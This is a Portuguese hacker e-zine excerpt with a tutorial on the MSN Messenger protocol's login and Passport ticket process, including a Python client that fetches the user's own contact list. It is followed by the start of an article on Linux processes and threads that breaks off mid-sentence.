=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


   Indice
   ======

   1.0 Introducao
   2.0 Preludio
   3.0 Processo de Autenticacao
   4.0 Obtendo MS Passport e Ticket
   5.0 Conexao Estabelecida
   6.0 Exemplo Simples
   7.0 Referencia
   8.0 Consideracoes Finais


--=[ 1.0 Introducao

E ai pessoal !!!

	Ha um tempo resolvi dar uma estudada sobre como se da o funcionamento do
protocolo utilizado pelo MSN.  Aos  seres  que vivem em  outro  mundo,  MSN  se
trata  de um servico  de chat  nativo da Microsoft,  tambem conhecido como "MSN
Messenger", onde os usuarios que possuem e-mail podem se cadastrar e utiliza-lo
como software para mensagens instantaneas. Apesar de possuir seu codigo fechado
(pra variar neh),  a popularidade junto com a curiosidade fez com que o hacking
mais uma vez fosse utilizado para o bem, ao menos para nos :P

	Voce deve estar se perguntando: se a Microsoft esconde todo o funciona-
mento dele, como o pessoal conseguiu descobrir? Eh claro que ainda existem algu-
mas duvidas, mas tecnicas de sniffing  e  engenharia  reversa  ajudaram muito a
entender  seu funcionamento.  Com isso,  muitos  projetos foram  desenvolvidos,
justamente  como  nova opcao em sistemas  nao-windows.  Um exemplo eh o  famoso
aMSN, cliente MSN popularizado pela comunidade Linux, feito em tcl/tk.

Confira nos links alguns projetos desenvolvidos:

   - http://www.warwick.ac.uk/~esucbg/TjMSN/
   - http://kmess.sourceforge.net/
   - http://amsn.sourceforge.net/
   - http://www.ut.ee/~moby/msn/



--=[ 2.0 Preludio

	Ao programar um cliente MSN, certamente ira se deparar com algumas si-
tuacoes que o deixarao com duvidas quanto a comunicacao com o servidor.  Para
auxiliar recomendo a utilizacao de um sniffer (tcpdump ou ethereal, por exemplo)
para depurar algumas  respostas.  Antes de comecar a estudar o funcionamento do
MSN, eh interessante ficar por dentro de algumas definicoes.


   MSN Protocol (MSNP):
      O MSN segue  um conjunto de  regras especificadas  em seu protocolo,  que
      gerenciam desde o handshake de comunicacao entre cliente e  servidor ateh
      processos mais avancados como troca de mensagens, envio de arquivos, etc.
      Este protocolo  eh denominado  MSNPx,  onde x eh a  versao  utilizada  no
      servidor  de autenticacao.  Para nosso  artigo,  iremos  trabalhar  com o
      MSNP10,  lembrando  que  ele deve ser  especificado  na negociacao  com o
      servidor  (veremos mais a frente).  Caso o servidor trabalhe  com versoes
      mais antigas do MSNP, nao  havera acordo entre as partes, se voce estiver
      com uma versao diferente a exigida.

   Notification Server (NS):
      Podemos considerar  a autenticacao com o NS a base de tudo. Este servidor
      eh responsavel  por manipular sua presenca, definindo seu status (online,
      offline, etc),  bem como notificar o recebimento de  e-mails em sua conta
      Hotmail.

   Switchboard (SB):
      Eh o responsavel  em manipular cada  sessao de mensagens, ou seja, quando
      eh estabelecido  uma comunicacao  entre clientes,  a sessao  para a troca
      dessas mensagens  eh controlado  pelo SB.  Uma sessao pode  ser dada pela
      comunicacao  one-to-one,  entre  duas  entidades apenas,  ou em  um chat,
      fazendo  o switchboard  trabalhar de  forma compartilhada,  desta forma
      controlando quem esta no chat.


Daqui pra  frente  usaremos  uma sintaxe  basica para definir o que  esta sendo
enviado ao servidor e o que sera sua resposta.  A string precedida por um ">>>"
definira nosso envio, enquanto um "<<<" designa o recebimento da resposta.

	Existem duas  formas de se iniciar o processo de autenticacao.  Muitos
clientes web (ex.: webmessenger.com) utilizam o protocolo HTTP para suas cone-
xoes, nao precisando assim um software cliente como o que a maioria usa, neces-
sitando apenas um browser. Outra alternativa eh a conexao via proxy,  assim de-
vendo haver um software cliente como o proprio MSN Messenger da Microsoft.

	A conexao HTTP ocorre atraves do gateway.messenger.hotmail.com, na porta
80.  Os commandos sao enviados atraves  do  metodo  post  para  um  script  cgi
responsavel  em atender seu  pedido, enviando alguma resposta referente a eles.
Todos os  comandos devem seguir  as regras padronizadas pelo HTTP especificadas
no  RFC-2616,  contendo um comando por requerimento  inserido  em seu campo  de
corpo.  Quando feito um HTTP  request,  o servidor responde  com um  HTTP reply
contendo  em  seu  header  a  string  "X-MSN-Messenger",  o endereco  IP a  ser
realizado o proximo requerimento e um ID da sessao estabelecida.  Caso a sessao
seja fechada (atraves  de  time-out  ou  de  uma  ordem dada),  havera um valor
definindo seu encerramento, "Session=close".



--=[ 3.0 Processo de Autenticacao

	Entao, finalmente podemos comecar a ter um esboco.  O primeiro  (e mais
dificil) passo na construcao de um cliente MSN,  apos ter definido os processos
iniciais acima, eh realizar a autenticacao no servidor NS. Todo preludio deve
comecar no acordo do protocolo a ser utilizado entre ambas as partes(servidor e
cliente). Criando-se um socket devidamente correto ao NS, enviaremos a seguinte
string contendo a versao que iremos trabalhar:

   >>> VER 1 MSNP9 MSNP10\r\n
   <<< VER 1 MSNP9 MSNP10\r\n

Acima  enviamos a string de versao para o NS,  recebendo uma resposta de que as
versoes 9 e 10 do  MSNP estao ativas naquele servidor.  Agora um exemplo em que
nao houve acordo entre as partes, ocasionando numa desconexao:

   >>> VER 1 MSNP9 MSNP10\r\n
   <<< VER 1 0\r\n

OBS.: Veja  que em  cada mensagem ha um CR+LF  para tratamento,  requerido pelo
protocolo.

Caso receba  resposta negativa,  tente mudar as versoes,  ja que o MSN  vive em
constante  atualizacao com novas versoes,  pode ser que a versao do MSNP esteja
mais atualizada tambem.

	Uma vez tendo a confirmacao do protocolo corretamente aceita, voce deve-
ra enviar alguns dados referente ao seu cliente e sistema  operacional  para o
NS, que contem algumas informacoes como seu idioma,  o nome e versao do cliente
utilizado,  o nome  e  versao  do  SO,  etc.  Caso  seja o  cliente  oficial da
Micro$oft, o servidor retornara como  resposta uma versao recomendada para uso.

   >>> CVR 2 0x0409 win 4.10 i386 MSMSGR 6.2.0137 MSMSGR eu@email.com\r\n

Este  foi um  exemplo de  um cliente  oficial.  Os parametros  passados  sao os
seguintes:

   1o. - Numero hexa especificando o locale ID;
   2o. - Tipo de SO utilizado;
   3o. - Versao do SO;
   4o. - Arquitetura;
   5o. - Nome do cliente (MSMSGR eh o oficial);
   6o. - Versao do cliente;
   7o. - Este parametro SEMPRE sera o nome da versao oficial (MSMSGR);
   8o. - Sua conta passport.

Caso queira  especificar um ID  diferente em sua localidade,  veja a tabela com
alguns valores:

 LOCALIDADE:          LCID:     |     LOCALIDADE:          LCID:
 -----------------------------------------------------------------------
 (default)            2048      |     Hungria              1038
 Bulgaria             1026      |     Japao                1041
 China                2052      |     Korea                1042
 Croacia              1050      |     Portugal             2070
 Belgica              2061      |     Brasil               1046
 Australia            3081      |     Russia               1049
 Canada               4105      |     Espanha              1034
 Jamaica              8201      |     Argentina           11274
 Nova Zelandia        5129      |     Bolivia             16394
 Caribe               9225      |     Chile               13322
 Filipinas           13321      |     Colombia             9226
 Africa do Sul        7177      |     Costa Rica           7130
 Inglaterra           2057      |     Mexico               2058
 Estados Unidos       1033      |     Paraguai            15370
 Franca               1036      |     Uruguai             14346
 Alemanha             1031      |     Suecia               1053
 -----------------------------------------------------------------------

OBs.: No comando anterior,  usei o LCID (locale id) numero 0409, que eh default
do cliente oficial.

	Apos ter enviado e recebido a resposta CVR, voce devera enviar o comando
que  identifica qual usuario (passaport)  ira querer logar.  Essa string devera
conter um parametro de autenticacao que  sempre sera TWN  (algumas coisas ainda
nao foram totalmente desvendadas hehe), um 'I' para indicar que o processo sera
uma autenticacao (initiating authentication), e por ultimo seu e-mail  que  ira
realizar o logon.

   >>> USR 3 TWN I eu@email.com\r\n

	Caso o servidor nao reconheca seu comando, ele ira fechar a conexao sem
nenhuma resposta, ou,  dependendo da string,  podera resultar numa  mensagem de
erro.  A tabela abaixo mostra alguns dos erros mais encontrados, lembrando que 
nem todos foram documentados por ainda serem  desconhecidos.   Caso queira ver
mais sobre eles, recomendo visitar um dos links que disponibilizo no final deste
artigo.


   ERROS:   |   DESCRICAO:
   ------------------------------------------------------------------------
   207      |   Usuario ja esta logado.
   ------------------------------------------------------------------------
   223      |   Caso tente criar novo grupo de contatos, esse erro indica
            |   que voce ja atingiu o maximo permitido (30).
   ------------------------------------------------------------------------
   500      |   Erro interno do NS (servico temporariamente indisponivel).
   ------------------------------------------------------------------------
   701      |   Erro no comando CVR.
   ------------------------------------------------------------------------
   911      |   Falha na autenticacao com o SB.
   ------------------------------------------------------------------------
   928      |   Ticket invalido (veremos mais sobre isso na sequencia).
   ------------------------------------------------------------------------
   

	A resposta dada pelo NS sera simples de ser entendida.  Caso uma string
contendo a instrucao XFR seja retornada, ela indicara um segundo servidor a ser
conectado, obrigando voce fechar  a conexao  atual e criar uma nova no servidor
indicado.  Os  parametros,  conforme  visto  abaixo,  correspondem  a  flag  NS
indicando que sera feita uma  transferencia entre Notification Server, o server
e porta que voce  devera conectar  (separados por dois-pontos), um "0"  que nao
nos importa  neste caso,  e o IP onde esta conectado atualmente.  Quando  criar
a nova conexao,  voce devera reiniciar todo o processo de autenticacao descrito
acima, enviando a versao do protocolo, etc. Abaixo um exemplo de resposta XFR:

   <<< XFR 3 NS 207.46.106.145:1863 0 207.46.104.20:1863\r\n

	Uma vez reconectado no novo IP, a string de resposta contera um USR, in-
dicando que houve sucesso nesta etapa do handshake. Se voce achou  dificil esta
parte, recomendo dar uma lida novamente desde o comeco, agora vem a parte traba-
lhosa para poder autenticar. Daqui pra frente comeca um processo demorado, voce
tera que manipular muitas strings que serao recebidas como resposta atraves dos
comandos que serao enviados. Recomendo utilizar uma linguagem de  alto-nivel de
abstracao,  que manipule  strings  com facilidade,  isso vai ajudar muito.  (se
quiser usar regex, sinta-se a vontade :D).



--=[ 4.0 Obtendo MS Passport e Ticket

	Agora que enviamos o pedido corretamente devemos obter o famoso MS Pas-
sport para poder haver a autenticacao. Mais uma  vez  devemos  criar  um socket
responsavel pela comunicacao  com este novo servidor chamado "Nexus", ele eh um
server  dedicado para  atender as  requisicoes  dos passports para os usuarios,
indicando o  ticket (uma string aleatoria) para autenticacao final.  Para fazer
isto,  devemos  enviar  um GET pelo  protocolo HTTPS  versao  1.0  para  a  url
"https://nexus.passport.com/rdr/pprdr.asp",  que  ira  retornar  os  dados para
serem tratados. Abaixo esta um exemplo de retorno:

   <<< HTTP/1.1 200 OK\r\n
   <<< Server: Microsoft-IIS/5.0\r\n
   <<< Date: Mon, 02 Jun 2003 11:57:47 GMT\r\n
   <<< Connection: close\r\n
   <<< PassportURLs: DARealm=Passport.Net,DALogin=login.passport.com/login2.srf,DAReg=http://register.passport.net/uixpwiz.srf,Properties=https://register.passport.net/editprof.srf,Privacy=http://www.passport.com/consumer/privacypolicy.asp,GeneralRedir=http://nexusrdr.passport.com/redir.asp,Help=http://memberservices.passport.net/memberservice.srf,ConfigVersion=11\r\n
   <<< Content-Length: 0\r\n
   <<< Content-Type: text/html\r\n
   <<< Cache-control: private\r\n
   <<< \r\n

	O nexus apenas esta indicando o server a ser contactado para adquirir o
ticket. Perceba no parametro PassportURLs que existe uma variavel DALogin apon-
tando ao servidor "login.passport.com", que sera responsavel em nos entregar o
ticket.  Logo apos a comunicacao com o servidor passport,  ha o encerramento da
conexao como visto em "Connection: close\r\n".

	Devemos agora enviar um GET usando o mesmo HTTPS para a url indicada na
conexao anterior, "login.passport.com/login2.srf".  No parametro Authorization,
algumas  variaveis deverao ser definidas pelo programador,  que sao "sign-in" e
"pwd", representando respectivamente o e-mail 'urlencoded' e a senha. Este ser-
vidor de login devera receber nosso comando da seguinte forma:

    >>> GET /login2.srf HTTP/1.0\r\n
    >>> Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2E
msn%2Ecom,sign-in=eu%40email.com,pwd=password,lc=1033,id=507,tw=40,fs=1,ru=http
%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1062764229,kpp=1,kv=5,ver=2.1.0173.1,tpf=43f8
a4c8ed940c04e3740be46c4d1619\r\n
    >>> Host: login.passport.com\r\n\r\n

(nao esqueca de encodar o email, como visto acima, substituindo '@' por '%40').

Respondendo a  nossa requisicao,  o servidor  podera retornar  uma mensagem  de
redirecionamento como mostrado abaixo:

   <<< HTTP/1.1 302 Found\r\n
   <<< Server: Microsoft-IIS/5.0\r\n
   <<< Date: Sun, 06 Mar 2005 11:58:32 GMT\r\n
   <<< PPServer: H: LAWPPLOG5C006\r\n
   <<< Connection: close\r\n
   <<< Content-Type: text/html\r\n
   <<< Expires: Sun, 06 Mar 2005 11:57:32 GMT\r\n
   <<< Cache-Control: no-cache\r\n
   <<< cachecontrol: no-store\r\n
   <<< Pragma: no-cache\r\n
   <<< P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"\r\n
   <<< Authentication-Info: Passport1.4 da-status=redir\r\n
   <<< Location: https://login.passport.com/login2.srf?lc=1033\r\n
   <<< \r\n

	Aqui vemos algo importante: o servidor nos pede para redirecionar a co-
nexao para o servidor "loginnet.passport.com". Este eh um jeito mais confiavel
para o processo de obtencao de ticket,  porem pode-se seguir a regra de que se
voce possuir uma conta hotmail ou msn, o servidor sera o citado acima, caso con-
trario,  uma conta fora dos dominios da Micro$oft,  o servidor sera o conhecido
"login.passport.com".

Caso a mensagem nao seja a de redirecionamento, obteremos o nosso ticket:

   <<< HTTP/1.1 200 OK\r\n
   <<< Server: Microsoft-IIS/5.0\r\n
   <<< Date: Sun, 06 Mar 2005 11:59:00 GMT\r\n
   <<< PPServer: H: LAWPPIIS6B061\r\n
   <<< Connection: close\r\n
   <<< Content-Type: text/html\r\n
   <<< Expires: Sun, 06 Mar 2005 11:58:00 GMT\r\n
   <<< Cache-Control: no-cache\r\n
   <<< cachecontrol: no-store\r\n
   <<< Pragma: no-cache\r\n
   <<< P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"\r\n
   <<< Set-Cookie: MSPSec1= ; expires=Thu, 30-Oct-1980 16:00:00 GMT;domain=.pas
sport.com;path=/;HTTPOnly= ;version=1\r\n
   <<< Set-Cookie: MSPSec=5Cdd1SshOELpwqafsSuYSiDEuEtP1PUaX99YOZcaoJP3vkIn7DXoz
t868I7eJNjcWG; HTTPOnly= ; domain=.passport.com;path=/;secure=\r\n
   <<< Set-Cookie: MSPAuth=5yDBU0BqvDa7UiY9W9nVEncRXCLD4gjLmtEr2XkunnafkOgdgG5x
*CEpqe7MyZEOir*EiA1PbwLKzqCGO671TeTQ$$; HTTPOnly= ; domain=.passport.com;path=/\r\n
   <<< Set-Cookie: MSPProf=5a0mKE6PKDsxz!*4apQt0amnQOGLYqcCm78ie!MmHq0KnAiIJM0z
0Zajs8NL7ux7Ae0hnH5AAoB!zXIZ9jTA2rcQttC*RKKRsc9k7JflwThB!H0Qa*6ipGcdj5co6taPir;
 HTTPOnly= ; domain=.passport.com;path=/\r\n
   <<< Set-Cookie: MSPVis=507;domain=.passport.com;path=/\r\n
   <<< Set-Cookie: MSPPre=eu@email.com; HTTPOnly= ; domain=.passport.com;path=/;
Expires=Wed, 30-Dec-2037 16:00:00 GMT\r\n
   <<< Set-Cookie: MSPShared= ; HTTPOnly= ; domain=.passport.com;path=/;Expires=
Thu, 30-Oct-1980 16:00:00 GMT\r\n
   <<< Authentication-Info: Passport1.4 da-status=success,tname=MSPAuth,tname=
MSPProf,tname=MSPSec,from-PP='t=53*1hAu8ADuD3TEwdXoOMi08sD*2!cMrntTwVMTjoB3p6st
WTqzbkKZPVQzA5NOt19SLI60PY!b8K4YhC!Ooo5ug$$&p=5eKBBC!yBH6ex5mftp!a9DrSb0B3hU8aq
AWpaPn07iCGBw5akemiWSd7t2ot!okPvIR!Wqk!MKvi1IMpxfhkao9wpxlMWYAZ!DqRfACmyQGG112B
p9xrk04!BVBUa9*H9mJLoWw39m63YQRE1yHnYNv08nyz43D3OnMcaCoeSaEHVM7LpR*LWDme29qq2X3
j8N',ru=http://messenger.msn.com\r\n
   <<< Content-Length: 0\r\n
   <<< \r\n

Enfim, temos o nosso ticket, mostrado no parametro "Authenticaction-Info". No
nosso caso, ele sera:

t=53*1hAu8ADuD3TEwdXoOMi08sD*2!cMrntTwVMTjoB3p6stWTqzbkKZPVQzA5NOt19SLI60PY!b8K
4YhC!Ooo5ug$$&p=5eKBBC!yBH6ex5mftp!a9DrSb0B3hU8aqAWpaPn07iCGBw5akemiWSd7t2ot!ok
PvIR!Wqk!MKvi1IMpxfhkao9wpxlMWYAZ!DqRfACmyQGG112Bp9xrk04!BVBUa9*H9mJLoWw39m63YQ
RE1yHnYNv08nyz43D3OnMcaCoeSaEHVM7LpR*LWDme29qq2X3j8N

Note  que qualquer  que seja a resposta  do servidor, a conexao sera encerrada,
tanto para redirecionamento quanto na obtencao final do ticket.



--=[ 5.0 Conexao Estabelecida

	Ufa! Finalmente passamos pela parte mais demorada do processo. Agora que
temos o ticket, mande o comando USR para o primeiro NS que voce conectou (depois
de tantas conexoes, espero que ainda lembre :P).

   >>> USR 4 TWN S t=(blablabla.. toda a string do ticket)

	Quando enviar este comando, voce estara conectado. Uma dica interessante
eh estar online em um cliente como  aMSN ou o proprio oficial,  e perceber que
quando  o comando  for enviado  com sucesso  sua conexao  no cliente  ira cair,
visto que o MSNP nao permite duas conexoes simultaneas.

	Depois de conectar, pode ser implementado uma serie de instrucoes. Nao
irei aborda-las agora justamente por ser muito extensa, e este paper eh apenas
o basico para iniciar o jovem aprendiz neste mundo.  Mas, caso queira  ver sua
lista de contatos, envie alguns comandos de sincronizacao:

   >>> SYN 4 0 0\r\n

Imprima a resposta do server :)

Se voce  interessar por  mais instrucoes,  consulte o link que disponibilizo no
final do paper.



--=[ 6.0 Exemplo Simples

	Confira um pequeno script feito em python que fiz exemplificando toda 
essa teoria. Para executar apenas atribua um "+x" nele e execute. (espero que
entendam python, nao eh complicado caso tenha alguma  nocao de programacao).

<++> msn.py
#!/usr/bin/env python 
######################################################################
# - msn.py
#
# Cliente MSN que obtem a lista de contatos de uma determinada conta.
# Programa exemplo como parte do artigo "MSN Hacking" publicado no
# MOTD Guide #4. Confira em guide.motdlabs.org
#
# by Leandro
######################################################################

from socket import *
from sys import *
from os import *
from string import *
import getpass
    
    
####################################
# Funcao para pegar o MSN Passport

def passport(login,senha,string):
    sock_passport = socket(AF_INET,SOCK_STREAM)
    sock_passport.connect(('nexus.passport.com',443))  # Veja a porta...
    req = "GET /rdr/pprdr.asp HTTP/1.0\r\n\r\n"

    ssl_conn = ssl(sock_passport)    # ... SSL :)
    ssl_conn.write(req)

    buffer_passport = ssl_conn.read()
    tmp = buffer_passport.split("DALogin=")
    buffer_passport = tmp[1]
    tmp = buffer_passport.split(",")
    buffer_passport = tmp[0]
    tmp = buffer_passport.split("/")
    passport_server = tmp[0]
    sock_passport.close()

    sock_passport = socket(AF_INET,SOCK_STREAM)
    sock_passport.connect((passport_server,443))  # Fora do nexus.passport.com
    ssl_conn = ssl(sock_passport)

    str = string.split("TWN")
    string = str[1]
    str = string.split()
    string = str[1]

    username = login.split("@")

    buffer_passport = "GET /login2.srf HTTP/1.0\r\n\r\nAuthorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + username[0] + "%40" + username[1] + ",pwd=" + senha + "," + string + "\r\n\r\nHost: " + passport_server + "\r\n\r\n"

    ssl_conn.write(buffer_passport)
    buffer_passport = ssl_conn.read()
    if count(buffer_passport,"Location:") == 0:
        sock_passport.close()
        print "[-] Erro na aquisicao do Passport"
        exit(0)

    tmp = buffer_passport.split("Location:")
    buffer_passport = tmp[1].split()
    location = buffer_passport[0].split("?")

    sock_passport.close()

    log = login.split('@')
    if log[1] == "hotmail.com" or log[1] == "msn.com":
        server = "loginnet.passport.com"
    else:
        server = "login.passport.com"

    sock_passport = socket(AF_INET,SOCK_STREAM)
    sock_passport.connect((server,443))
    ssl_conn = ssl(sock_passport)
    buffer_passport = "GET /login2.srf HTTP/1.1\r\nAuthorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + username[0] + "%40" + username[1] + ",pwd=" + senha + "," + string + "\r\nHost: login.passport.com\r\n\r\n"
    ssl_conn.write(buffer_passport)
    buffer_passport = ssl_conn.read(2024)

    tmp = buffer_passport.split('t=')
    buffer_passport = tmp[1].split("\',ru=")
    ticket = buffer_passport[0]
    tmp = "USR 4 TWN S t=" + ticket + "\r\n"

    sock_passport.close()
    return(tmp)

####################################
# Principal

if len(argv) != 2:
    print """
MSN Contact List - Example Version
==================================
Retorna a lista de contatos de uma conta MSN.
Uso: %s 

-------------------------
Leandro A. Thomas 
""" % argv[0]
    exit(0)

senha = getpass.getpass("Digite sua senha: ")
conta = argv[1]
buffer_xfr = "XFR"  # Parametro que define que a transacao de mensagens
                    # esta ocorrendo com sucesso

endereco = "messenger.hotmail.com"  # Definindo nosso server
porta = 1863                        # Porta padrao

while buffer_xfr == "XFR":
    request = "VER 1 MSNP9 MSNP10\r\n"   # Compativel com 2 versoes do MSNP
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((endereco,porta))

    s.send(request)
    print "\n[+] Conectando (%s:%s)" % (endereco,porta)
    buffer = s.recv(1024)

    if buffer == "VER 1 0\r\n":          # Avisando que houve algum erro
        print "[-] Desconectado do servidor!"
        exit(0)

    request = "CVR 2 0x0409 win 4.10 i386 MSMSGR 6.2.0137 MSMSGR %s\r\n" % conta
    s.send(request)
    buffer = s.recv(1024)

    request = "USR 3 TWN I %s\r\n" % conta
    s.send(request)
    print "[+] Enviando username (%s)" % conta
    buffer = s.recv(1024)

    splited_buffer = buffer.split()
    if splited_buffer[0] == "XFR":    # Conectar ao server indicado
        buffer_xfr = "XFR"
        foo = splited_buffer[3].split(':')
        endereco = foo[0]
        porta = int(foo[1])
        print "[-] Redirecionando a outro servidor"
        s.close()
    elif splited_buffer[0] == "USR":  # Conexao feita com sucesso
        print "[+] Requerindo MS Passport"
        auth = passport(conta,senha,buffer)
        s.send(auth)
        buffer = s.recv(1024)
        print "[+] Usuario logado com sucesso!"
        break
    else:
        print "[-] Erro desconhecido"
        s.close()
        exit(0)

# Alguns comandos de sincronizacao

buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)

buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)

buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)
print "\n\tSUA LISTA DE CONTATOS:\n"

buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)

buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(3024)

buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)

buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)

print buffer
s.close()
<--> msn.py


--=[ 7.0 Referencias

Confira alguns links que disponibilizo caso queira se aprofundar no assunto.
Sei que sao poucos, mas garanto que sao suficientes :)


   RFC 2616 - HyperText Transfer Protocol (HTTP)
      

   Python Official
      

   MSN Messenger Protocol
      



--=[ 8.0 Consideracoes Finais

"- Entendi o protocolo MSN, e dai?"

	Entendendo seu funcionamento podemos nao apenas satisfazer a curiosida-
de do que ocorre por tras dos "bastidores" mas como tambem fucar,  desenvolver
alguma pequena aplicacao utilizando os principios de comunicacao seguindo  esse
protocolo, fazendo um "divertido" script ou ateh colaborando  com projetos open
source. Ha algum tempo atras foi  divulgado um binario para Windows que, quando
executado, mandava a mensagem "SOU GAY!!!" para todos os usuarios online em uma
contact list, utilizando esses mesmos principios :P

	Por fim,  fechando este artigo, peco desculpas por nao ter aprofundado
mais, apenas tentei resumir o maximo possivel para explicar os passos basicos do
protocolo,  porem fiquei com medo de fazer algo meio superficial e deixar muita
gente sem entender  direito algumas  partes.  Superficial? Bem, ficou um pouco,
ainda  poderia  ser dito muito mais,  mas essa leitura ja  deve valer  a pena e
satisfazer muitos fucadores interessados em programar utilizando o MSNP :)

	Antes que esqueca, gostaria de agradecer o pessoal do MotdLabs por terem
confiado  em  mim  e  mandar um 'alo'  para alguns  grandes  amigos:  galera do
RFDSLabs,  GotFault,  Recife Phrack Staff (hehehe),  e  toda a  galera  que  eu
converso e troco informacoes.

Hacking for freedom, hacking for knowledgment!

Leandro 

_EOF_

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[06]-=[Linux além do printf I - Processos e Threads]=-|Jader H. S. (aka Vo)|-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


--=[ 1.0 Introdução

	O  sistema operacional  Linux está entre os sistemas que mais  crescem 
atualmente. A expansão da sua utilização abre novas fronteiras para a comunida-
de de programadores e hackers, que possuem agora uma poderosa plataforma volta-
da em grande  parte para essas pessoas sem perder sua flexibilidade,  bastante 
notável nos sistemas embarcados ou,  em inglês, "embedded systems" que são sis-
temas utilizados em plataformas específicas,  como sistemas de localização de 
carros e aviões.

	A flexibilidade herdada de sistemas UNIX presente no Linux aliada a uma
interface de programação  bastante versátil  permite a construção de aplicações 
diversas e bastante inovadoras, aptas a concorrer com softwares comerciais bas-
tante conhecidos presentes em outras plataformas.

	Esta série de artigos dedica-se basicamente ao esclarecimento dos meca-
nismos e ferramentas disponíveis para a programação em ambiente Linux,  além da
introdução de conceitos da computação e algoritmos que podem  aumentar a produ-
tividade de seu software. Este artigo trata sobre processos e threads e manei-
ras de manipulá-los em ambiente Linux.

* Todos os exemplos aqui utilizados foram criados por mim e testados com sucesso
  num ambiente Linux, kernel 2.6.15, AMD Athlon 1.6 GHz, 512MB Ram.



--=[ 2.0 Pequena introdução a sistemas multitarefa

	Um processador é uma peça eletrônica, e como tal, tem seus limites. Ge-
ralmente não se processa mais de uma informação por vez em um processador  (ex-
ceto com a tecnologia HyperThreading,  que emula dois processadores em um só).
Isso equivale a dizer que nenhum programa pode ser executado quando outro está
ocupando o processador.

	O MS-DOS ilustra bem essa situação. Se você ainda se lembra do MS-DOS,
deve lembrar também que quando você abria um editor de texto,  por exemplo, fi-
cava preso ao mesmo e não podia  executar nenhum outro programa enquanto o edi-
tor estivesse aberto (o mesmo se aplicava a quaisquer outros programas).

	Atualmente, a maioria dos sistemas é multitarefa. Nestes sistemas, os 
programas compartilham o tempo de execução no processador com outros programas.
O programa que está sendo  executado é paralisado e ocorre uma mudança do con-
texto de execução de maneira tão rápida que um ser humano não é capaz de notar.

	Assim como um filme é uma seqüência de imagens  estáticas, que são tro-
cadas tão rapidamente de maneira que nosso cérebro as funde em uma animação, os
programas rodam em seqüência,  e cedem (passivamente)  a execução para  outros 
programas em espaços de tempo imperceptíveis a um ser humano.  Essa rotação da
execução dos programas no processador é realizada pelo sistema operacional, que
também gerencia a quantidade de tempo que um programa permanece executando por 
vez.



--=[ 3.0 Processos

	Um processo é um conjunto de estruturas dados e códigos que compõem ou
não uma unidade de execução interpretável pelo kernel, ou seja, um processo é 
basicamente um programa na memória, sendo executado ou aguardando execução. 

	A estrutura de um processo varia conforme a plataforma de  software e 
hardware.  Os processos geralmente possuem identificadores  únicos no sistema 
conhecidos como PID (Process IDentifiers) que permitem identificar um processo
para a classificação e realização de tarefas externas, como finalizar a execu-
ção de maneira forçada, por exemplo, quando um processo "trava". Genericamente,
um processo  (ou thread,  veremos mais à frente) está em 1 de 3 estados distin-
tos: executando, aguardando execução ou bloqueado.

	Os processos que aguardam execução  geralmente dispõem-se em uma  fila 
ordenada, que, de acordo com o agendador de processos (do sistema operacional),
pode modificar-se dinamicamente para priorizar ou não a execução de determinado
processo. Um processo bloqueado está aguardando algum recurso ou a finalização
de alguma operação de entrada e saída (E/S ou I/O) para continuar sua execução
(leitura do disco, por exemplo). Um processo que está executando é um processo
que está executando (ora, pensou que fosse o quê?).

	Os processos possuem seu próprio espaço virtual que varia de arquitetu-
ra para arquitetura (geralmente e teoricamente: 4GB em x86, mas pode chegar até
64GB). O espaço virtual permite que processos não tenham acesso a dados perten-
centes a outros processos e dá ao processo a "impressão" de que a máquina está
executando apenas o processo atual.

	O espaço virtual de um processo geralmente divide-se em 3 partes: código
(text), dados (data) e pilha (stack). O código (text) geralmente compreende me-
mória protegida contra alterações,  permitindo somente leitura e execução.  Os
dados (data) compreendem a área de dados estáticos e a de dados dinâmicos (Heap).
Os dados estáticos já estão definidos para o programa mesmo antes de sua execu-
ção, enquanto a área de dados dinâmicos permite a criação e alocação de memória
durante a execução do programa.  A pilha é uma área da memória  utilizada  pelo
programa para armazenar dados dinâmicos que serão acessados rapidamente. A pilha
pode crescer ou diminuir conforme as necessidades do processo.  No Linux da ar-
quitetura x86, o modelo de memória mais utilizado é o seguinte:

Código em endereços baixos
Dados entre código e pilha
Pilha nos endereços altos

	A pilha "cresce para baixo" na arquitetura x86, ou seja, dos endereços
mais altos para os mais baixos. Podemos confirmar esta disposição com um pequeno
teste.  Abaixo está um código que imprime a posição aproximada do início do có-
digo, pilha e dados.

<++> lap1/posicao.c
int meu_int_estatico;

int main(void)
{

	int meu_int = 0;

	printf("Código aproximadamente em: 0x%.8X\n"
		"Dados aproximadamente em:  0x%.8X\n"
		"Pilha aproximadamente em:  0x%.8X\n", main, &meu_int_estatico, &meu_int);


	return 0;

}
<--> lap1/posicao.c

Acredito que é um código portável. Compilando e executando, obtive:

Código aproximadamente em: 0x0804833C
Dados aproximadamente em:  0x08049490
Pilha aproximadamente em:  0xBF8D7474

Confirmado. Ao menos aqui =P
Note que os endereços realmente estão em ordem crescente.

	Se você ainda estiver em dúvida quanto ao endereçamento no espaço vir-
tual, é só lembrar que os endereços da memória virtual não são necessariamente
endereços reais.  Os endereços são mapeados de endereços virtuais a reais (ge-
